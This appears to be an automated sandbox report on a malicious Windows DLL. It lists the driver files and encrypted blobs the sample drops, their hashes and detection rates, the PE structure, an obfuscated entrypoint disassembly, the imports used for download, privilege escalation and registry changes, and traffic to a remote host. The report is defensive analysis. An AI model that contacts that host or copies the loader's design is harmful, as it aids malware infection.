Preview:	.?M..Nl..t{....y..EY...c...>....a..../.e...dR.6l.2..%^.-.0..%^.-.0..%^.-.0....7...s.`.6KZ.a.8........4#d.b.\...t.].h.......3..N..sB..........l%..V..n..)......._1._.z9.O'......O...j\..,..%.{>.....w...rc...o..N.....%^.-.0......b..tL.....@.../.;.\...7<.).O.q".t....q.....EF....q.&b.K..22.....\.......:.W.....TU.........g_.H............g_.H........dH.n.s.s.%^.-.0.;.f.../.%^.-.0..........%^.-.0.am...,f'.v..+W..%^.-.0..%^.-.0..%^.-.0..wZ%.C..%^.-.0...").$...%^.-.0..%^.-.0..%^.-.0.p S.......)...uU.X.H.H..%^.-.0.9/v.>..s..\M.I.b..b...a.C....Z..%^.-.0."#SZTu.6:........=..j..z...2....%^.-.0..lQ.....7..u.l...K(P.u.....n.Wr.%^.-.0."#SZTu.68....YP.....a..g.N..WP.%^.-.0..W.qp/5..........IQ.."YS.HR.....%^.-.0..gv....&..WY*q/.......F._..c9....%^.-.0.88p.+T...%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\xz[1]

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	modified
Size (bytes):	109632
Entropy (8bit):	7.689689543182043
Encrypted:	false
SSDEEP:	1536:3ZXMruAoH7yiYfvw7OMVZ7xmZmItFqOV/XK5qbAT+2UCqzYjwhLIXfKEzq4z3khx:ZvbyRvEbKNF/VbAT+Yr4Gfzqckn
MD5:	2C90C97B65D358D8BABD7DDE5BA4AC6E
SHA1:	ED3EA1A1D23CE5945FFB3DCF34A5A6F7AEB7C0C6
SHA-256:	1F557584FE2B4CCE321A84460D78DE17E4B6B077ADDCB81BFD61598478D72ED0
SHA-512:	6922529FF105BA9A599B39ACF1E80CBB722569FF5EBED3DC5511DB5C30DBD3A42023339C22A3876815EEDD5451ADED7ADB758497AB67A4F3092BED9A1BE2D7F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 52%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%5..aT..aT..aT..u?..bT..aT..@T..u?..cT..u?..bT...!..cT...!..`T..RichaT..........PE..d...P'.e.........."..................`.........@.....................................)....`A.................................................`..(............P.. .......@......,....0..8............................0...............0...............................text.............................. ..h.rdata.......0......................@..H.data...(....@.......$..............@....pdata.. ....P.......&..............@..HINIT.........`.......(.............. ..`.VSK0...rR...p...T...,..............`..h.reloc..,...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\xz[2]

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125232
Entropy (8bit):	7.7260092712620025
Encrypted:	false
SSDEEP:	1536:3ZXMruAoH7yiYfvw7OMVZ7xmZmItFqOV/XK5qbAT+2UCqzYjwhLIXfKEzq4z3k4W:ZvbyRvEbKNF/VbAT+Yr4Gfzqck4fHfG
MD5:	FF7F8C6567DF68BCA06D3CE30185AA11
SHA1:	CFA71ACB1069DB5F0CEA3FDF436E1CDF9CEA99AB
SHA-256:	DE7F9FA79544294197514AD85D14A81B10B9226AFA23F413EA30A993147BE3F4
SHA-512:	F87CFCACAE68B3139E223CE4BBBADEB90ABBC3700233C6C925286C9CBD4C8AF5497C5F9CC51EFEA66C07B3A633525DB11511B48A064BD7799F4C139A73A58FAF
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%5..aT..aT..aT..u?..bT..aT..@T..u?..cT..u?..bT...!..cT...!..`T..RichaT..........PE..d...P'.e.........."..................`.........@....................................0A....`A.................................................`..(............P.. .......0g......,....0..8............................0...............0...............................text...*........................... ..h.rdata.......0......................@..H.data...(....@.......$..............@....pdata.. ....P.......&..............@..HINIT.........`.......(.............. ..`.VSK0...rR...p...T...,..............`..h.reloc..,...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\xz[1]

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125232
Entropy (8bit):	7.7260092712620025
Encrypted:	false
SSDEEP:	1536:3ZXMruAoH7yiYfvw7OMVZ7xmZmItFqOV/XK5qbAT+2UCqzYjwhLIXfKEzq4z3k4W:ZvbyRvEbKNF/VbAT+Yr4Gfzqck4fHfG
MD5:	FF7F8C6567DF68BCA06D3CE30185AA11
SHA1:	CFA71ACB1069DB5F0CEA3FDF436E1CDF9CEA99AB
SHA-256:	DE7F9FA79544294197514AD85D14A81B10B9226AFA23F413EA30A993147BE3F4
SHA-512:	F87CFCACAE68B3139E223CE4BBBADEB90ABBC3700233C6C925286C9CBD4C8AF5497C5F9CC51EFEA66C07B3A633525DB11511B48A064BD7799F4C139A73A58FAF
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%5..aT..aT..aT..u?..bT..aT..@T..u?..cT..u?..bT...!..cT...!..`T..RichaT..........PE..d...P'.e.........."..................`.........@....................................0A....`A.................................................`..(............P.. .......0g......,....0..8............................0...............0...............................text...*........................... ..h.rdata.......0......................@..H.data...(....@.......$..............@....pdata.. ....P.......&..............@..HINIT.........`.......(.............. ..`.VSK0...rR...p...T...,..............`..h.reloc..,...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\xz[2]

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	237081
Entropy (8bit):	7.995477279270951
Encrypted:	true
SSDEEP:	6144:Q1tW4MGK+44LrEZ8KcJWLtb1ENUwZUV9spHNrqVZ:Q1UBGKGLrEZJLLBCpfYZ
MD5:	8D73FEB1176004AB16C272280F512C9A
SHA1:	F1AD7DC28F422F68B541CE46E141FF02147C6E89
SHA-256:	232981E8F599330F9601E3CE9EDC824280D762814F75B8461EF2756CDF611397
SHA-512:	8915274B9EDEB8BA6B39EC168CD5540224FBEAD7724E142FED8891DE18D940851D5A19E001D5AA93C712D6FBC5A655DE566E55758B64DB72CA2D0423D09A0BE0
Malicious:	false
Reputation:	low
Preview:	.?M..Nl..t{....y..EY...c...>....a..../.e...dR.6l.2..%^.-.0..%^.-.0..%^.-.0....7...s.`.6KZ.a.8........4#d.b.\...t.].h.......3..N..sB..........l%..V..n..)......._1._.z9.O'......O...j\..,..%.{>.....w...rc...o..N.....%^.-.0......b..tL.....@.../.;.\...7<.).O.q".t....q.....EF....q.&b.K..22.....\.......:.W.....TU.........g_.H............g_.H........dH.n.s.s.%^.-.0.;.f.../.%^.-.0..........%^.-.0.am...,f'.v..+W..%^.-.0..%^.-.0..%^.-.0..wZ%.C..%^.-.0...").$...%^.-.0..%^.-.0..%^.-.0.p S.......)...uU.X.H.H..%^.-.0.9/v.>..s..\M.I.b..b...a.C....Z..%^.-.0."#SZTu.6:........=..j..z...2....%^.-.0..lQ.....7..u.l...K(P.u.....n.Wr.%^.-.0."#SZTu.68....YP.....a..g.N..WP.%^.-.0..W.qp/5..........IQ.."YS.HR.....%^.-.0..gv....&..WY*q/.......F._..c9....%^.-.0.88p.+T...%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0

C:\Users\user\AppData\Local\Temp\1340820F.sys

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109632
Entropy (8bit):	7.689689543182043
Encrypted:	false
SSDEEP:	1536:3ZXMruAoH7yiYfvw7OMVZ7xmZmItFqOV/XK5qbAT+2UCqzYjwhLIXfKEzq4z3khx:ZvbyRvEbKNF/VbAT+Yr4Gfzqckn
MD5:	2C90C97B65D358D8BABD7DDE5BA4AC6E
SHA1:	ED3EA1A1D23CE5945FFB3DCF34A5A6F7AEB7C0C6
SHA-256:	1F557584FE2B4CCE321A84460D78DE17E4B6B077ADDCB81BFD61598478D72ED0
SHA-512:	6922529FF105BA9A599B39ACF1E80CBB722569FF5EBED3DC5511DB5C30DBD3A42023339C22A3876815EEDD5451ADED7ADB758497AB67A4F3092BED9A1BE2D7F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 52%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%5..aT..aT..aT..u?..bT..aT..@T..u?..cT..u?..bT...!..cT...!..`T..RichaT..........PE..d...P'.e.........."..................`.........@.....................................)....`A.................................................`..(............P.. .......@......,....0..8............................0...............0...............................text.............................. ..h.rdata.......0......................@..H.data...(....@.......$..............@....pdata.. ....P.......&..............@..HINIT.........`.......(.............. ..`.VSK0...rR...p...T...,..............`..h.reloc..,...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1340B061.bin

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	237081
Entropy (8bit):	7.995477279270951
Encrypted:	true
SSDEEP:	6144:Q1tW4MGK+44LrEZ8KcJWLtb1ENUwZUV9spHNrqVZ:Q1UBGKGLrEZJLLBCpfYZ
MD5:	8D73FEB1176004AB16C272280F512C9A
SHA1:	F1AD7DC28F422F68B541CE46E141FF02147C6E89
SHA-256:	232981E8F599330F9601E3CE9EDC824280D762814F75B8461EF2756CDF611397
SHA-512:	8915274B9EDEB8BA6B39EC168CD5540224FBEAD7724E142FED8891DE18D940851D5A19E001D5AA93C712D6FBC5A655DE566E55758B64DB72CA2D0423D09A0BE0
Malicious:	false
Preview:	.?M..Nl..t{....y..EY...c...>....a..../.e...dR.6l.2..%^.-.0..%^.-.0..%^.-.0....7...s.`.6KZ.a.8........4#d.b.\...t.].h.......3..N..sB..........l%..V..n..)......._1._.z9.O'......O...j\..,..%.{>.....w...rc...o..N.....%^.-.0......b..tL.....@.../.;.\...7<.).O.q".t....q.....EF....q.&b.K..22.....\.......:.W.....TU.........g_.H............g_.H........dH.n.s.s.%^.-.0.;.f.../.%^.-.0..........%^.-.0.am...,f'.v..+W..%^.-.0..%^.-.0..%^.-.0..wZ%.C..%^.-.0...").$...%^.-.0..%^.-.0..%^.-.0.p S.......)...uU.X.H.H..%^.-.0.9/v.>..s..\M.I.b..b...a.C....Z..%^.-.0."#SZTu.6:........=..j..z...2....%^.-.0..lQ.....7..u.l...K(P.u.....n.Wr.%^.-.0."#SZTu.68....YP.....a..g.N..WP.%^.-.0..W.qp/5..........IQ.."YS.HR.....%^.-.0..gv....&..WY*q/.......F._..c9....%^.-.0.88p.+T...%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0

C:\Users\user\AppData\Local\Temp\1341015D.sys

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109632
Entropy (8bit):	7.689689543182043
Encrypted:	false
SSDEEP:	1536:3ZXMruAoH7yiYfvw7OMVZ7xmZmItFqOV/XK5qbAT+2UCqzYjwhLIXfKEzq4z3khx:ZvbyRvEbKNF/VbAT+Yr4Gfzqckn
MD5:	2C90C97B65D358D8BABD7DDE5BA4AC6E
SHA1:	ED3EA1A1D23CE5945FFB3DCF34A5A6F7AEB7C0C6
SHA-256:	1F557584FE2B4CCE321A84460D78DE17E4B6B077ADDCB81BFD61598478D72ED0
SHA-512:	6922529FF105BA9A599B39ACF1E80CBB722569FF5EBED3DC5511DB5C30DBD3A42023339C22A3876815EEDD5451ADED7ADB758497AB67A4F3092BED9A1BE2D7F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 52%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%5..aT..aT..aT..u?..bT..aT..@T..u?..cT..u?..bT...!..cT...!..`T..RichaT..........PE..d...P'.e.........."..................`.........@.....................................)....`A.................................................`..(............P.. .......@......,....0..8............................0...............0...............................text.............................. ..h.rdata.......0......................@..H.data...(....@.......$..............@....pdata.. ....P.......&..............@..HINIT.........`.......(.............. ..`.VSK0...rR...p...T...,..............`..h.reloc..,...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1341026E.bin

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	237081
Entropy (8bit):	7.995477279270951
Encrypted:	true
SSDEEP:	6144:Q1tW4MGK+44LrEZ8KcJWLtb1ENUwZUV9spHNrqVZ:Q1UBGKGLrEZJLLBCpfYZ
MD5:	8D73FEB1176004AB16C272280F512C9A
SHA1:	F1AD7DC28F422F68B541CE46E141FF02147C6E89
SHA-256:	232981E8F599330F9601E3CE9EDC824280D762814F75B8461EF2756CDF611397
SHA-512:	8915274B9EDEB8BA6B39EC168CD5540224FBEAD7724E142FED8891DE18D940851D5A19E001D5AA93C712D6FBC5A655DE566E55758B64DB72CA2D0423D09A0BE0
Malicious:	false
Preview:	.?M..Nl..t{....y..EY...c...>....a..../.e...dR.6l.2..%^.-.0..%^.-.0..%^.-.0....7...s.`.6KZ.a.8........4#d.b.\...t.].h.......3..N..sB..........l%..V..n..)......._1._.z9.O'......O...j\..,..%.{>.....w...rc...o..N.....%^.-.0......b..tL.....@.../.;.\...7<.).O.q".t....q.....EF....q.&b.K..22.....\.......:.W.....TU.........g_.H............g_.H........dH.n.s.s.%^.-.0.;.f.../.%^.-.0..........%^.-.0.am...,f'.v..+W..%^.-.0..%^.-.0..%^.-.0..wZ%.C..%^.-.0...").$...%^.-.0..%^.-.0..%^.-.0.p S.......)...uU.X.H.H..%^.-.0.9/v.>..s..\M.I.b..b...a.C....Z..%^.-.0."#SZTu.6:........=..j..z...2....%^.-.0..lQ.....7..u.l...K(P.u.....n.Wr.%^.-.0."#SZTu.68....YP.....a..g.N..WP.%^.-.0..W.qp/5..........IQ.."YS.HR.....%^.-.0..gv....&..WY*q/.......F._..c9....%^.-.0.88p.+T...%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0

C:\Users\user\AppData\Local\Temp\7ECA49D7.sys

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109632
Entropy (8bit):	7.689689543182043
Encrypted:	false
SSDEEP:	1536:3ZXMruAoH7yiYfvw7OMVZ7xmZmItFqOV/XK5qbAT+2UCqzYjwhLIXfKEzq4z3khx:ZvbyRvEbKNF/VbAT+Yr4Gfzqckn
MD5:	2C90C97B65D358D8BABD7DDE5BA4AC6E
SHA1:	ED3EA1A1D23CE5945FFB3DCF34A5A6F7AEB7C0C6
SHA-256:	1F557584FE2B4CCE321A84460D78DE17E4B6B077ADDCB81BFD61598478D72ED0
SHA-512:	6922529FF105BA9A599B39ACF1E80CBB722569FF5EBED3DC5511DB5C30DBD3A42023339C22A3876815EEDD5451ADED7ADB758497AB67A4F3092BED9A1BE2D7F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 52%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%5..aT..aT..aT..u?..bT..aT..@T..u?..cT..u?..bT...!..cT...!..`T..RichaT..........PE..d...P'.e.........."..................`.........@.....................................)....`A.................................................`..(............P.. .......@......,....0..8............................0...............0...............................text.............................. ..h.rdata.......0......................@..H.data...(....@.......$..............@....pdata.. ....P.......&..............@..HINIT.........`.......(.............. ..`.VSK0...rR...p...T...,..............`..h.reloc..,...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ECA4A94.bin

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	237081
Entropy (8bit):	7.995477279270951
Encrypted:	true
SSDEEP:	6144:Q1tW4MGK+44LrEZ8KcJWLtb1ENUwZUV9spHNrqVZ:Q1UBGKGLrEZJLLBCpfYZ
MD5:	8D73FEB1176004AB16C272280F512C9A
SHA1:	F1AD7DC28F422F68B541CE46E141FF02147C6E89
SHA-256:	232981E8F599330F9601E3CE9EDC824280D762814F75B8461EF2756CDF611397
SHA-512:	8915274B9EDEB8BA6B39EC168CD5540224FBEAD7724E142FED8891DE18D940851D5A19E001D5AA93C712D6FBC5A655DE566E55758B64DB72CA2D0423D09A0BE0
Malicious:	false
Preview:	.?M..Nl..t{....y..EY...c...>....a..../.e...dR.6l.2..%^.-.0..%^.-.0..%^.-.0....7...s.`.6KZ.a.8........4#d.b.\...t.].h.......3..N..sB..........l%..V..n..)......._1._.z9.O'......O...j\..,..%.{>.....w...rc...o..N.....%^.-.0......b..tL.....@.../.;.\...7<.).O.q".t....q.....EF....q.&b.K..22.....\.......:.W.....TU.........g_.H............g_.H........dH.n.s.s.%^.-.0.;.f.../.%^.-.0..........%^.-.0.am...,f'.v..+W..%^.-.0..%^.-.0..%^.-.0..wZ%.C..%^.-.0...").$...%^.-.0..%^.-.0..%^.-.0.p S.......)...uU.X.H.H..%^.-.0.9/v.>..s..\M.I.b..b...a.C....Z..%^.-.0."#SZTu.6:........=..j..z...2....%^.-.0..lQ.....7..u.l...K(P.u.....n.Wr.%^.-.0."#SZTu.68....YP.....a..g.N..WP.%^.-.0..W.qp/5..........IQ.."YS.HR.....%^.-.0..gv....&..WY*q/.......F._..c9....%^.-.0.88p.+T...%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0..%^.-.0

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.588510546374596
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll
File size:	57'344 bytes
MD5:	3bfb35c4054f9b59a8b64817aa292780
SHA1:	9d126f746caf39749551574a049adf9d1e8af649
SHA256:	d2ca8563455b3e2cc8b2942a4026dddb324cb37262c27432ba1fcd975303e44a
SHA512:	e01aeb6f537380889612aa9c3732d3a1f6abd4e6c02aa0f830044d133ccb647f1cea5d251f7b7957caa9e595f110ef20e12081b3466dd08d5a47a127ddc384f4
SSDEEP:	1536:T3d/Gu30sVhOZZG6kLpXTaHCec+ceDhkMENAZ:T3xGA0yhQjCpmiec+cuOME
TLSH:	A8435BC1A76201FAC08B4A707516F27EF27015359AB4CCE3E7A829C469635F53E7C3A9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............l.,.l.,.l.,..n,.l.,.l.,.l.,.>@,.l.,.>y,.l.,.>~,.l.,.>{,.l.,Rich.l.,................PE..L......e...........!...............

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x10001370
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH
Time Stamp:	0x65D21CA6 [Sun Feb 18 15:05:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f1e99cf29907465f275f949fe91b6257

Entrypoint Preview

Instruction
jmp 00007FFA6CCC7E7Eh
lea esp, dword ptr [esp+28h]
call 00007FFA6CCC6BEFh
movsx edx, bl
pushfd
setle dl
sal dh, cl
add esp, 08h
movsx dx, cl
call 00007FFA6CCC5AE3h
push esp
pushfd
lea esp, dword ptr [esp+0Ch]
call 00007FFA6CCC72B2h
rol ch, cl
not ecx
dec cx
bsr cx, ax
add esp, 04h
lea ecx, dword ptr [76E64AD7h+ecx*4]
jmp 00007FFA6CCCC0E5h
add esp, 34h
push ecx
pushfd
mov esp, ebp
lea ebp, dword ptr [esp-297B2296h]
lea ebp, dword ptr [esp+2677198Fh]
lea ebp, dword ptr [41A8A928h+esi*2]
not bp
pop ebp
pushfd
push dword ptr [esp+04h]
retn 0008h
mov eax, dword ptr [ebp+0Ch]
mov byte ptr [esp+04h], cl
pushfd
call 00007FFA6CCC19D0h
mov dword ptr [ebp-0Ch], edx
bswap ax
push esi
bswap dx
call 00007FFA6CCCD4F5h
int3
int3
int3
int3
jmp 00007FFA6CCCE45Eh
movzx eax, al
mov dh, FFFFFF8Bh
xchg ax, cx
mov eax, dword ptr [ebp+08h]
movzx cx, al
push dword ptr [esp]
lea edx, dword ptr [edi+5B6D696Bh]
call 00007FFA6CCC638Dh
pushfd
jmp 00007FFA6CCC71AEh
jmp 00007FFA6CCC10ADh
int3
int3
int3
jmp 00007FFA6CCC7CBDh
mov dword ptr [esp+00h], edx

Rich Headers

Programming Language:

[EXP] VS2013 build 21005
[RES] VS2013 build 21005
[LNK] VS2013 build 21005

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3520	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x35d0	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x12000	0x1d5	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x11000	0x43c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3080	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3000	0x74	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1511	0x1600	06c106b8bf6d0e2584b46a59ef86f3fc	False	0.6951349431818182	Applesoft BASIC program data, first line number 162	6.236732520293081	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3000	0x88a	0xa00	db2d1ddeea0a9e2c6246d682b0bfcc0f	False	0.3796875	data	4.838828755874782	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4000	0x14	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.Pml0	0x5000	0xb229	0xb400	5b3463ffd931d71f533fc5b7db953a33	False	0.6981336805555556	data	6.605102088631095	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x11000	0x43c	0x600	226341637f91f37ad3265c726d6b6fc2	False	0.64453125	data	5.234181335697247	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x12000	0x1d5	0x200	1a8e79a3be433dbf235293e30193327e	False	0.5234375	data	4.704363013479242	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x12058	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	GetTempPathA, CloseHandle, LoadLibraryA, VirtualProtect, GetProcAddress, WriteFile, GetCurrentProcess, CreateFileA, ExitProcess, DeleteFileA
USER32.dll	MapVirtualKeyW, GetSystemMetrics, MessageBoxA, wsprintfA
ADVAPI32.dll	RegSetValueExA, OpenProcessToken, RegCreateKeyA, LookupPrivilegeValueW, AdjustTokenPrivileges, RegCloseKey, RegDeleteKeyA
WININET.dll	InternetReadFile, InternetOpenA, InternetCloseHandle, InternetOpenUrlA

Exports

Name	Ordinal	Address
InsterDriver	1	0x10001a10

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 28, 2024 11:28:54.877105951 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:54.878799915 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.206304073 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.206397057 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.206576109 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.208050013 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.208120108 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.208302021 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.557938099 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.557959080 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.558000088 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.558032990 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.558074951 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.558089972 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.558140039 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.558156967 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.558242083 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.558254957 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.558268070 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.558279991 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.558280945 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.558298111 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.558310032 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.558401108 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.558413982 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.558427095 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.558439016 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.558451891 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.558475018 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.558584929 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.558624983 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:55.564356089 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.564368963 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.564382076 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.564395905 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:55.564415932 CET	49706	17598	192.168.2.5	134.175.236.132
